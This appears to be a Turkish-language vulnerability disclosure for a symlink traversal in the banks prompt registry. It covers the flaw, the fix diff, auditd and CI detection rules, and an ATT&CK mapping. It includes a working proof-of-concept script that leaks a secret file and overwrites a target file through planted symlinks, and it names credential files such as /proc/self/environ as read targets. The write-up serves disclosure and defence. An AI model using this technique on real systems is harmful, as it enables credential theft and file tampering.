İfşa: CVE-2026-107716 (CWE-59, CWE-22), 2.5.0’a kadar banks sürümlerini etkiler. Zafiyeti jankesec olarak bakımcı masci’ye bildirdim. 2.5.1 sürümünde PR #79 ile düzeltildi ve GHSA-556j-vv39-8rqv olarak yayımlandı. GitHub, CNA olarak zafiyeti CVSS 4.0 7.3 (Yüksek) puanladı: CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N.

banks içindeki DirectoryPromptRegistry, prompt’ları bir dizinde dosya olarak saklar. 2.5.0 sürümüne kadar bu dosyaları ve onları listeleyen index.json dosyasını, sembolik link olup olmadıklarını denetlemeden okuyup yazıyordu. Bu nedenle prompt dizinine yerleştirilen bir symlink, registry’nin sürecin erişebildiği herhangi bir dosyayı okumasına veya üzerine yazmasına yetiyordu.

Saldırganın prompt dizinine bir symlink sokması gerekir. Dizin güvenilmeyen girdiden doldurulduğunda bu mümkündür: açılmış bir arşiv, klonlanmış bir depo veya kiracılar arasında paylaşılan bir klasör bunun tipik kaynaklarıdır. Ardından uygulamanın o dizinden prompt yüklemesi veya kaydetmesi gerekir; DirectoryPromptRegistry bunu oluşturulurken ve her set() çağrısında yapar. Yani zafiyet, tek başına bir dosya okuma hatası değil, “dizine yazılan her şey güvenilirdir” varsayımının doğrudan sonucudur. Etki, sürecin izinleriyle sınırlıdır: uygulama root olarak çalışıyorsa okunan veya üzerine yazılan dosya da root kapsamına girer. Bu ayrım, zafiyetin neden özellikle çok kiracılı ve arşiv açan yapay zekâ servislerinde ağır sonuçlar doğurabileceğini açıklar. Güvenlik Sınırı: Registry kökü, sürecin erişebildiği dosya sistemine karşı tek savunma hattı olarak tasarlanmıştı; ancak bu sınır dosya sistemi katmanında hiçbir zaman uygulanmadı.

Registry prompt’ları nasıl saklıyor

  • Her prompt, registry dizininde <ad>.<sürüm>.jinja adlı bir dosyadır. index.json bunları listeler.
  • Bir DirectoryPromptRegistry oluşturulduğunda, index.json yoksa (veya force_reindex=True verilmişse) _scan() çalışır; aksi halde _load() çağrılır.
  • _scan() her *.jinja* dosyasını açar, metnini indekse yazar ve index.json dosyasını oluşturur.
  • get(name=..., version=...) indeksten bir prompt döndürür.
  • set(prompt=...) prompt dosyasını yazar ve ardından index.json dosyasını yeniden oluşturmak için _save() çağırır.

2.5.0 sürümü, dizin dışına çıkan prompt adlarını zaten reddediyordu (güvenlik bildirisi PR #77’ye işaret eder); ancak bir dosyanın symlink olup olmadığını hiç sormuyordu. Aşağıdaki yazma ve okuma işlemleri, POSIX üzerinde open() fonksiyonunun yaptığı gibi linkleri izler:

        version = prompt.version or DEFAULT_VERSION
        prompt_file = _resolve_prompt_file(path, prompt.name, version)
        prompt_file.write_text(prompt.raw)
    def _save(self):
        """Save the prompt index to disk."""
        self._index_path.write_text(self._index.model_dump_json())

    def _scan(self):
        """Scan directory for prompt files and build the index."""
        self._index: PromptFileIndex = PromptFileIndex()
        for path in self._path.glob("*.jinja*"):
            name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
            with path.open("r") as f:
                pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
                self._index.files.append(pf)
        self._index_path.write_text(self._index.model_dump_json())

Güvenlik bildirisi üç noktayı sıralar:

  1. index.json hiç denetlenmez. _save() bir linkin hedefinin üzerine yazar, _load() ise o hedefi okur.
  2. _scan(), is_symlink() çağrısı yapmadan veya çözümlenen yolun registry kökünden çıkıp çıkmadığını denetlemeden .jinja dosyalarını açar.
  3. set(), bir prompt dosyasının zaten symlink olup olmadığını denetlemeden yazar.

Gizli bir dosyayı işaret eden leak.0.jinja adlı bir link indekse okunur. index.json adlı bir link ise _save() tarafından yazılarak hedef dosyanın üzerine yazar. Her iki durumda da registry kökü sınır olarak tasarlanmıştı; ancak sınır yalnızca mantıksal bir varsayım olarak kaldı ve dosya sistemi katmanında hiçbir zaman uygulanmadı. Kritik nokta şudur: dosyanın adı dizin içinde görünse bile, işletim sistemi açma veya yazma anında linki çözer ve işlemi tamamen başka bir yere yönlendirir.

CVE-2026-107716 · PROMPT DİZİNİNDE SEMBOLİK LİNKLER PROMPT DİZİNİ /var/app/prompts/ system.0.jinja (normal dosya) leak.0.jinja (sembolik link) → /etc/app/secret.env index.json (sembolik link) → /etc/app/config.conf Linkler bir arşiv, klon veya paylaşılan klasörle gelir KAYIT KÖKÜNÜN DIŞINDA Kayıt kökü sınır olarak tasarlanmıştı OKUMA: secret.env _scan() metni dizine kaydeder get() onu çağırana döndürür ÜZERİNE YAZMA: config.conf set() → _save() index.json'u yazar write_text() linki takip eder
DirectoryPromptRegistry, dizinindeki her dosyayı linkin nereye işaret ettiğini denetlemeden açar ve yazar.

Kavram kanıtı

Kavram kanıtı, güvenlik bildirisinde yer alan betiktir. İlk yarı registry dizinine bir symlink yerleştirip onun üzerinden okuma yapar. İkinci yarı index.json dosyasını başka bir dosyaya yönlendirir ve registry’nin o dosyanın üzerine yazmasını sağlar:

import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt

# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")

os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)

# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())

force_reindex=True verildiğinde kurucu _scan() çalıştırır; bu da leak.0.jinja dosyasını link üzerinden okur ve get() o metni döndürür. İkinci yarıda set() önce test.1.jinja dosyasını yazar, ardından _save() index.json dosyasını yeniden oluşturur. index.json aslında /tmp/target.conf dosyasına bir link olduğu için o dosya ORIGINAL yerine registry’nin indeks JSON’unu içerir.

2.5.1 sürümünde kurucu artık InvalidPromptError fırlatır; çünkü _scan() symlink olan prompt dosyasını reddeder. Yani düzeltme yalnızca yazma yolunu değil, daha nesne oluşturulurken okuma yolunu da kapatır. Bu davranış, hatalı yapılandırılmış bir dizinin sessizce kabul edilmesi yerine uygulamanın erken ve açık biçimde başarısız olmasını sağlar.

Kanıt matrisi

KanıtNeyi gösteriyorSonuç
GHSA-556j-vv39-8rqvGitHub’ın CNA olarak yayımladığı güvenlik bildirisi2026-10-08 tarihinde yayımlandı. CWE-22 ve CWE-59. <= 2.5.0 etkileniyor, 2.5.1 düzeltildi.
CVE kaydıCNA tarafından atanan önem derecesiCVSS 4.0 7.3 (Yüksek)
Düzeltme PR #79 (23ed13e)Symlink denetimleri, kök içinde kalma denetimleri ve O_NOFOLLOW ile yazma2026-09-10 tarihinde regresyon testleriyle birleştirildi
PyPI üzerindeki banks 2.5.1Düzeltmeyi içeren sürüm2026-09-10 tarihinde yüklendi
Güvenlik bildirisindeki PoC, ilk yarıSymlink olan leak.0.jinja üzerinde get()2.5.0 sürümünde link hedefinin metnini döndürür
Güvenlik bildirisindeki PoC, ikinci yarıindex.json başka bir dosyaya linkliyken set()2.5.0 sürümünde link hedefinin üzerine yazar
Negatif kontrol (2.5.1)Düzeltmedeki _scan() ve _validate_index_path() kod incelemesiSymlink prompt dosyaları ve symlink index.json, InvalidPromptError fırlatır

Düzeltme (PR #79)

PR #79 (commit 23ed13e) 2026-09-10 tarihinde birleştirildi ve aynı gün 2.5.1 olarak yayımlandı. Registry’nin okuduğu veya yazdığı her yola bir symlink denetimi ve kök içinde kalma denetimi ekler; platform desteklediğinde yazmayı O_NOFOLLOW ile yapar. Her hata InvalidPromptError fırlatır. Aşağıdaki alıntılar PR diff’inden alınmıştır.

Yazma işlemleri, linkleri izlemeyi reddeden bir yardımcıdan geçer. O_NOFOLLOW bulunmayan platformlarda (Windows) yardımcı write_text() çağrısına geri döner ve daha önceki denetimlere güvenir:

--- a/src/banks/registries/directory.py
+++ b/src/banks/registries/directory.py
@@ -24,6 +25,23 @@
 DEFAULT_INDEX_NAME = "index.json"
 
 
+def _write_file_no_follow(path: Path, content: str) -> None:
+    """Write content to a file, strictly refusing to follow symbolic links."""
+    no_follow = getattr(os, "O_NOFOLLOW", None)
+    if no_follow is not None:
+        try:
+            fd = os.open(str(path), os.O_WRONLY | os.O_CREAT | os.O_TRUNC | no_follow)
+        except OSError as exc:
+            msg = f"Path is a symbolic link or cannot be opened: {path}"
+            raise InvalidPromptError(msg) from exc
+        with os.fdopen(fd, "w", encoding="utf-8") as f:
+            f.write(content)
+    else:
+        # Platform does not support O_NOFOLLOW (e.g. Windows);
+        # rely on earlier symlink checks in _resolve_prompt_file and _validate_index_path.
+        path.write_text(content, encoding="utf-8")
+
+
 def _resolve_prompt_file(registry_root: Path, name: str, version: str) -> Path:
     """Resolve the on-disk path for a prompt file, ensuring it stays within ``registry_root``."""
     if Path(name).is_absolute():

index.json kendi denetimini alır:

@@ -105,6 +136,14 @@ def __init__(self, directory_path: str, *, force_reindex: bool = False):
         else:
             self._load()
 
+    def _validate_index_path(self):
+        if self._index_path.is_symlink():
+            msg = f"Index file cannot be a symbolic link: {self._index_path}"
+            raise InvalidPromptError(msg)
+        if self._index_path.exists() and not self._index_path.resolve().is_relative_to(self._path.resolve()):
+            msg = f"Index file escapes registry root: {self._index_path}"
+            raise InvalidPromptError(msg)
+
     @property
     def path(self) -> Path:
         """Get the directory path where prompts are stored."""

_load() ve _save() bu denetimi çağırır. _scan() symlink’leri ve kök dışına çıkan yolları reddeder ve sonunda _save() çağırır:

@@ -167,17 +207,34 @@ def _load(self):
 
     def _save(self):
         """Save the prompt index to disk."""
-        self._index_path.write_text(self._index.model_dump_json())
+        self._validate_index_path()
+        _write_file_no_follow(self._index_path, self._index.model_dump_json())
 
     def _scan(self):
         """Scan directory for prompt files and build the index."""
-        self._index: PromptFileIndex = PromptFileIndex()
-        for path in self._path.glob("*.jinja*"):
-            name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
-            with path.open("r") as f:
-                pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
+        self._validate_index_path()
+        self._index = PromptFileIndex()
+        root = self._path.resolve()
+        for path in sorted(self._path.rglob("*.jinja")):
+            if not path.is_file():
+                continue
+            if path.is_symlink():
+                msg = f"Symbolic links are not allowed in prompt registry: {path}"
+                raise InvalidPromptError(msg)
+            resolved = path.resolve()
+            if not resolved.is_relative_to(root):
+                msg = f"Prompt path escapes registry root: {path}"
+                raise InvalidPromptError(msg)
+
+            rel = path.relative_to(self._path)
+            stem = rel.stem
+            name_part, version = stem.rsplit(".", 1) if "." in stem else (stem, DEFAULT_VERSION)
+            full_name = f"{rel.parent.as_posix()}/{name_part}" if str(rel.parent) != "." else name_part
+
+            with path.open("r", encoding="utf-8") as f:
+                pf = PromptFile(text=f.read(), name=full_name, version=version, path=path, metadata={})
                 self._index.files.append(pf)
-        self._index_path.write_text(self._index.model_dump_json())
+        self._save()

_resolve_prompt_file() ayrıca, bir prompt yolu symlink ise onu çözümlemeden önce reddeder. Bu ayrıntı önemlidir: denetim ile dosyanın açılması arasındaki yarış penceresini daraltır, ancak tek başına tüm yarışları ortadan kaldırmaz. Bu nedenle yazma tarafında O_NOFOLLOW gibi atomik bir koruma tercih edilmiştir.

Yapay zeka varlık hattı tehdit modeli

Prompt kayıt defterleri ve şablon yükleyiciler, LLM mimarilerinde genellikle gözden kaçan bir güven sınırını temsil eder. Çok kiracılı platformlarda, harici katkıcılar veya prompt mühendisleri merkezi yapay zeka çıkarım işçisi tarafından tüketilen prompt paketleri (ZIP, tarball veya Git deposu aracılığıyla) yükler:

  • Okuma vektörü: Prompt kayıt defteri sembolik linkleri reddetmezse, /app/.env veya /proc/self/environ dosyalarını hedefleyen içe aktarılmış bir prompt şablonu; çalışma zamanı API anahtarlarını, veritabanı parolalarını ve LLM servis belirteçlerini prompt işleme motoruna sızdırır.
  • Yazma vektörü: DirectoryPromptRegistry.set() dosyaları ve index.json kaydını doğrudan diske yazdığından, uygulama kodunu veya sistem yapılandırma dosyalarını işaret eden bir symlink; prompt kaydetme hakkına sahip bir saldırgana keyfi dosya üzerine yazma ve potansiyel kod çalıştırma imkanı verir.

Tespit mühendisliği ve telemetri

LLM altyapısı işleten kurumlar, prompt dizinlerinde sembolik link kötüye kullanımını ana makine, boru hattı ve konteyner seviyesinde tespit edebilir.

1. Linux Auditd dosya denetimi

LLM şablonları ve kayıt defterleri için ayrılmış dizinlerde sembolik link oluşturulmasını izleyen bir auditd kuralı devreye alınır:

# /etc/audit/rules.d/99-ai-prompts-symlink.rules
# Prompt dizininde symlink sistem çağrılarını izle
-a always,exit -F arch=b64 -S symlink -S symlinkat -F dir=/var/app/prompts -k prompt_symlink_created

Güvenilmeyen bir arşiv prompt dizinine sembolik link çıkardığında auditd şu kaydı üretir:

type=SYSCALL msg=audit(1728345600.781:1094): arch=c000003e syscall=88 success=yes exit=0
  a0=7ffd54321000 a1=7ffd54321200 items=2 ppid=8412 pid=8420
  auid=1000 uid=1000 gid=1000 euid=1000 comm="tar" exe="/usr/bin/tar" key="prompt_symlink_created"
type=PATH msg=audit(1728345600.781:1094): item=0 name="/var/app/prompts/leak.0.jinja"

2. CI/CD Git boru hattı ön denetimi

Prompt paketleri üretim ortamına girmeden önce sembolik link içeren commit’leri engelleyin:

#!/usr/bin/env bash
# Git pre-receive / CI doğrulama kancası
# Prompt dizininde commit edilmiş sembolik linkleri reddet
if git ls-files -s prompts/ | grep -q "^120000"; then
    echo "[-] REDDEDİLDİ: Prompt deposunda sembolik link tespit edildi." >&2
    exit 1
fi

3. Güvenli arşiv açma

Kullanıcı tarafından sağlanan prompt paketlerini açarken sıkı çıkarma filtreleri uygulayın (Python 3.12+ tarfile.data_filter):

import tarfile

# Hedef dizin dışına çıkan symlink'leri engelleyen güvenli çıkarma
with tarfile.open("untrusted_prompts.tar.gz") as tar:
    tar.extractall(path="/var/app/prompts", filter="data")

ATT&CK teknik eşleşmesi

TaktikTeknik IDTeknik AdıZafiyetteki İşleyişSavunma Kontrolü
DiscoveryT1083File and Directory DiscoveryKritik yerel dosyaları hedefleyen leak.0.jinja symlink’i prompt indeksine okunur.is_symlink() ile symlink’leri reddet ve dizin sınırını doğrula.
Credential AccessT1552.001Unsecured Credentials: Credentials in FilesPrompt okuyucu kök dışındaki .env dosyalarından kimlik bilgilerini sızdırır.Prompt süreçlerini izole et; işçiyi en düşük DAC yetkileriyle çalıştır.
ImpactT1565.001Data Manipulation: Stored Data ManipulationSembolik linkli index.json üzerinden yazma ana makinedeki yapılandırma dosyalarını ezer.Dosyaları O_NOFOLLOW ile aç; mutlak yol sınırını doğrula.
Initial AccessT1195.002Supply Chain Compromise: Vulnerable ComponentHatalı prompt kütüphanesi kiracılar arası dosya sistemi erişimine yol açar.banks>=2.5.1 sürümüne yükselt.

Çıkarımlar

Bu zafiyet, “dizin içindeki dosya” ile “dizine ait dosya” arasındaki farkı gösterir; bir dosyanın adı doğru görünse bile hedefi tamamen farklı olabilir. Aşağıdaki maddeler, bu farkı somut savunma adımlarına dönüştürür.

  1. Güvenilmeyen girdiden doldurulan bir dizin güvenilmezdir; içindeki her linkin hedefi de güvenilmezdir.
  2. open(), Path.read_text() ve Path.write_text() symlink’leri izler. Mümkünse os.O_NOFOLLOW ile açın; düzeltme bunu yazma işlemlerinde yapar. Bir denetimden sonra açma işlemi, araya sokulan bir link ile hâlâ yarışabilir.
  3. Zip veya tar arşivlerini açarken, dosyalar uygulama dizinine ulaşmadan önce symlink girdilerini atlayın veya reddedin.

banks 2.5.1 veya daha yeni bir sürüme yükseltin.

Şiddet Değerlendirmesi · HIGH

Zafiyet Puanlaması & CVSS Vektör Analizi

GitHub CNA tarafından hesaplanan taban puan ve vektör bileşenlerinin teknik dökümü.

7.3High
CVSS Vektör DizgisiCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
AV · Saldırı VektörüYerel (Local)
AC · KarmaşıklıkDüşük (Low)
AT · Ön KoşullarMevcut (Present)
PR · Yetki SeviyesiDüşük (Low)
UI · Kullanıcı EtkileşimiYok (None)
VC · Zafiyet GizliliğiYüksek (High)
VI · Zafiyet BütünlüğüYüksek (High)
VA · Zafiyet ErişilebilirliğiDüşük (Low)
SC · Sonraki Sistem GizliliğiYok (None)
SI · Sonraki Sistem BütünlüğüYok (None)
SA · Sonraki Sistem ErişilebilirliğiYok (None)
Denetim İzi · CVE-2026-107716

Koordineli İfşa ve Düzeltme Zaman Çizelgesi

CVE-2026-107716 için zafiyet tespiti, bakımcı bildirimi, upstream yama ve resmi danışma belgesi yayınının doğrulanmış kronolojisi.

  1. Düzeltme Birleştirildi (Fix Merged)Step 01

    The maintainer merged the change that rejects symbolic links in the prompt registry (PR #79).

    Kaynak / Taahhüt ↗
  2. Resmi CVE ve Danışma BelgesiStep 02

    GitHub, as CNA, published the CVE record and advisory GHSA-556j-vv39-8rqv.

    Kaynak / Taahhüt ↗
  3. CISA Vulnrichment GüncellemesiStep 03

    CISA added its Vulnrichment (SSVC) assessment to the CVE record.

  4. Metadata ve Referans DenetimiStep 04

    jankesec checked the CVE record, score, affected versions, and references.

Kaynaklar ve sınırlar

Bu analiz için kullanılan kanıtlar

Kontrol edilen kaynaklar8 Ekim 2026

Sürüm ve sömürü durumu değişebilir; üretici kayıtlarını takip edin.

İnceleme DurumuYazar incelemesi tamamlandı

Yazar teknik incelemeyi tamamladı. Bu etiket tek başına laboratuvar yeniden üretimi iddiası taşımaz.

◈ BU ARAŞTIRMAYI KAYNAK GÖSTER

Teknik raporlarda ve akademik yayınlarda atıf için:

@misc{jankesec_cve_2026_107716_banks_symlink_traversal_2026,
  author = {Sevban Dönmez},
  title = {CVE-2026-107716: banks Prompt Registry'de Sembolik Link Geçişi},
  year = {2026},
  howpublished = {\url{https://jankesec.com/tr/arastirma/cve-2026-107716-banks-symlink-traversal/}},
  note = {jankesec technical security research (CVE-2026-107716)}
}